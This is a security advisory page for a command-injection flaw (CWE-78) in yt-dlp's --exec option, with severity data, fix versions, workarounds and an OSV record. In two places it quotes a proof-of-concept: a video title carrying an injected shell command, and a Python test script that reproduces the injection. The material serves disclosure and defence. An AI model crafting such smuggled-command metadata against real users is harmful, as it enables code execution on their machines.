GHSA-69qj-pvh9-c5wg: yt-dlp Arbitrary Command Injection Possible If Vulnerability

HIGH
CVSS 7.5
CWE-78
Published
Advisory Summary

GHSA-69qj-pvh9-c5wg is a HIGH (CVSS 7.5) arbitrary command injection possible if vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting yt-dlp libraries in the PyPI ecosystem. The issue involves arbitrary command injection possible if --exec option used with yt-dlp. Remediation is available by upgrading affected packages to version 2026.6.9.

GHSA-69qj-pvh9-c5wg at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-69qj-pvh9-c5wg
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product yt-dlp
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-69qj-pvh9-c5wg

To remediate this vulnerability, upgrade all affected yt-dlp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yt-dlp fixed: 2026.6.9
pip install yt-dlp>=2026.6.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show yt-dlp

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-69qj-pvh9-c5wg, inspect your installed packages using pip:

pip show yt-dlp

Analyze the terminal output to locate any version of yt-dlp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.6.9), your application is affected.

Note: The pip show yt-dlp command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In yt-dlp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary yt-dlp's `--exec` option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. `%(title)s`) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters. ### Details Since yt-dlp version 2021.04.11, the `--exec` option has supported "output template syntax", which is a superset of Python's `printf`-style string formatting also used by the `--output` option. This means the user is able to pass a "command template" as an argument to the `--exec` option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string. yt-dlp implements a `%()q` conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as `%()s` which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. `;`, `&`, `|`) to break out of the intended command and execute payload commands. ### Impact The impact is limited to users who pass an `--exec` command template containing unsafe conversions in their yt-dlp command or configuration file: `%()s`, `%()a`, `%()r`, `%()j`, `%()S` (including any of their flagged variants.) ### Patches yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an `--exec` command template to those known to be safe: `%()d`, `%()i`, `%()f`, `%()q` (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an `--exec` argument containing output template syntax. ### Workarounds This vulnerability can be fully mitigated by doing any of the following: - Upgrade yt-dlp to version 2026.06.09 or later - Only use safe conversions (e.g. `%()d`, `%()i`, `%()f`, `%()q`) in any `--exec` command templates - Do not use "output template syntax" in any `--exec` arguments - Do not use the `--exec` option ### Proof-of-Concept 1. An attacker sets the title of a video to a malicious payload, e.g.: `video; touch pwned.txt #` 2. The victim downloads this video using yt-dlp with the `--exec` flag. Reproduction steps (simulated): 1. Create a python script poc.py to simulate the internal behavior: ```bash import unittest import os from yt_dlp.postprocessor.exec import ExecPP from yt_dlp.YoutubeDL import YoutubeDL from yt_dlp.utils import PostProcessingError # Import Popen to use the REAL one for the PoC (to actually create the file) from yt_dlp.utils import Popen as RealPopen class TestDemonstrativePoC(unittest.TestCase): FILE_NAME = "PWNED.txt" def setUp(self): # Remove the file if it exists if os.path.exists(self.FILE_NAME): os.remove(self.FILE_NAME) def test_1_demonstrate_vulnerability_simulated(self): """ Simulates the code BEFORE the fix to show what would happen. """ print("\n--- TEST 1: Simulating vulnerable state ---") # 1. Define the vulnerable Parse Method def vulnerable_parse_cmd(self, cmd, info): # This mimics the code before my patch tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info) if tmpl_dict: return self._downloader.escape_outtmpl(tmpl) % tmpl_dict return cmd # 2. Patch the class temporarily original_parse_cmd = ExecPP.parse_cmd ExecPP.parse_cmd = vulnerable_parse_cmd info = { 'id': '1234', # MALICIOUS TITLE: # 1. 'video' gets echoed # 2. ; separator # 3. touch PWNED.txt creates the file # 4. # comments out the rest 'title': f'video; touch {self.FILE_NAME} #', 'ext': 'mp4', 'filepath': 'video.mp4' } ydl = YoutubeDL({'verbose': False, 'quiet': True}) try: print(f"[*] Payload Title: {info['title']}") print("[*] Executing: echo %(title)s") # Use the REAL Popen to actually execute shell commands import yt_dlp.postprocessor.exec original_popen_ref = yt_dlp.postprocessor.exec.Popen yt_dlp.postprocessor.exec.Popen = RealPopen pp = ExecPP(ydl, 'echo %(title)s') pp.run(info) # Restore Popen ref yt_dlp.postprocessor.exec.Popen = original_popen_ref # Check if file was created if os.path.exists(self.FILE_NAME): print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!") else: print("[?] File not created. Payload might have failed.") finally: # Restore the secure method ExecPP.parse_cmd = original_parse_cmd if __name__ == '__main__': unittest.main() ``` 2. Run the script: `python3 poc.py` 3. Check the directory. A file named `PWNED.txt` will be created, proving arbitrary command execution. <img width="1386" height="757" alt="poc" src="https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08" />

GHSA-69qj-pvh9-c5wg Affected yt-dlp Versions

1 component(s)
Fixed Versions:
2026.6.9
Product / Package Ecosystem Affected Versions Fixed Version
yt-dlp
PyPI
≥ 2021.4.11
< 2026.6.9
2026.6.9

References

Frequently Asked Questions

What is GHSA-69qj-pvh9-c5wg?
GHSA-69qj-pvh9-c5wg is a security vulnerability in yt-dlp involving Arbitrary command injection possible if --exec option used with yt-dlp under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which yt-dlp versions are affected?
Affected versions include releases prior to 2026.6.9 across affected packages: yt-dlp.
What version fixes GHSA-69qj-pvh9-c5wg?
Upgrading to 2026.6.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yt-dlp affected?
Yes, yt-dlp is affected in releases prior to 2026.6.9. Upgrade your dependency to 2026.6.9 or later.
What is the CVSS score of GHSA-69qj-pvh9-c5wg?
GHSA-69qj-pvh9-c5wg has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-69qj-pvh9-c5wg?
GHSA-69qj-pvh9-c5wg is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for GHSA-69qj-pvh9-c5wg?
Run the dependency tree command: 'pip show yt-dlp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-69qj-pvh9-c5wg",
  "modified" : "2026-06-16T22:29:14Z",
  "published" : "2026-06-16T22:29:14Z",
  "aliases" : [ ],
  "summary" : "yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp",
  "details" : "### Summary\nyt-dlp's `--exec` option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. `%(title)s`) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.\n\n### Details\nSince yt-dlp version 2021.04.11, the `--exec` option has supported \"output template syntax\", which is a superset of Python's `printf`-style string formatting also used by the `--output` option. This means the user is able to pass a \"command template\" as an argument to the `--exec` option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.\n\nyt-dlp implements a `%()q` conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as `%()s` which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. `;`, `&`, `|`) to break out of the intended command and execute payload commands.\n\n### Impact\n\nThe impact is limited to users who pass an `--exec` command template containing unsafe conversions in their yt-dlp command or configuration file: `%()s`, `%()a`, `%()r`, `%()j`, `%()S` (including any of their flagged variants.)\n\n### Patches\n\nyt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an `--exec` command template to those known to be safe: `%()d`, `%()i`, `%()f`, `%()q` (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an `--exec` argument containing output template syntax.\n\n### Workarounds\n\nThis vulnerability can be fully mitigated by doing any of the following:\n\n- Upgrade yt-dlp to version 2026.06.09 or later\n- Only use safe conversions (e.g. `%()d`, `%()i`, `%()f`, `%()q`) in any `--exec` command templates\n- Do not use \"output template syntax\" in any `--exec` arguments\n- Do not use the `--exec` option\n\n### Proof-of-Concept\n\n1. An attacker sets the title of a video to a malicious payload, e.g.: `video; touch pwned.txt #`\n2. The victim downloads this video using yt-dlp with the `--exec` flag.\n\nReproduction steps (simulated):\n1.  Create a python script poc.py to simulate the internal behavior:\n\n```bash\nimport unittest\nimport os\n\nfrom yt_dlp.postprocessor.exec import ExecPP\nfrom yt_dlp.YoutubeDL import YoutubeDL\nfrom yt_dlp.utils import PostProcessingError\n\n# Import Popen to use the REAL one for the PoC (to actually create the file)\nfrom yt_dlp.utils import Popen as RealPopen\n\nclass TestDemonstrativePoC(unittest.TestCase):\n    FILE_NAME = \"PWNED.txt\"\n\n    def setUp(self):\n        # Remove the file if it exists\n        if os.path.exists(self.FILE_NAME):\n            os.remove(self.FILE_NAME)\n\n    def test_1_demonstrate_vulnerability_simulated(self):\n        \"\"\"\n        Simulates the code BEFORE the fix to show what would happen.\n        \"\"\"\n        print(\"\\n--- TEST 1: Simulating vulnerable state ---\")\n\n        # 1. Define the vulnerable Parse Method\n        def vulnerable_parse_cmd(self, cmd, info):\n            # This mimics the code before my patch\n            tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)\n            if tmpl_dict:\n                return self._downloader.escape_outtmpl(tmpl) % tmpl_dict\n            return cmd\n\n        # 2. Patch the class temporarily\n        original_parse_cmd = ExecPP.parse_cmd\n        ExecPP.parse_cmd = vulnerable_parse_cmd\n\n        info = {\n            'id': '1234',\n            # MALICIOUS TITLE:\n            # 1. 'video' gets echoed\n            # 2. ; separator\n            # 3. touch PWNED.txt creates the file\n            # 4. # comments out the rest\n            'title': f'video; touch {self.FILE_NAME} #',\n            'ext': 'mp4',\n            'filepath': 'video.mp4'\n        }\n\n        ydl = YoutubeDL({'verbose': False, 'quiet': True})\n\n        try:\n            print(f\"[*] Payload Title: {info['title']}\")\n            print(\"[*] Executing: echo %(title)s\")\n\n            # Use the REAL Popen to actually execute shell commands\n            import yt_dlp.postprocessor.exec\n            original_popen_ref = yt_dlp.postprocessor.exec.Popen\n            yt_dlp.postprocessor.exec.Popen = RealPopen\n\n            pp = ExecPP(ydl, 'echo %(title)s')\n            pp.run(info)\n\n            # Restore Popen ref\n            yt_dlp.postprocessor.exec.Popen = original_popen_ref\n\n            # Check if file was created\n            if os.path.exists(self.FILE_NAME):\n                print(f\"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!\")\n            else:\n                print(\"[?] File not created. Payload might have failed.\")\n\n        finally:\n            # Restore the secure method\n            ExecPP.parse_cmd = original_parse_cmd\n\nif __name__ == '__main__':\n    unittest.main()\n```\n2. Run the script: `python3 poc.py`\n3. Check the directory. A file named `PWNED.txt` will be created, proving arbitrary command execution.\n\n<img width=\"1386\" height=\"757\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "yt-dlp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2021.4.11"
      }, {
        "fixed" : "2026.6.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-69qj-pvh9-c5wg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/pull/16883"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/commit/5faffa999fd33b373d47773e8ee639d072accec2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yt-dlp/yt-dlp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.06.234447"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T22:29:14Z",
    "nvd_published_at" : null
  }
}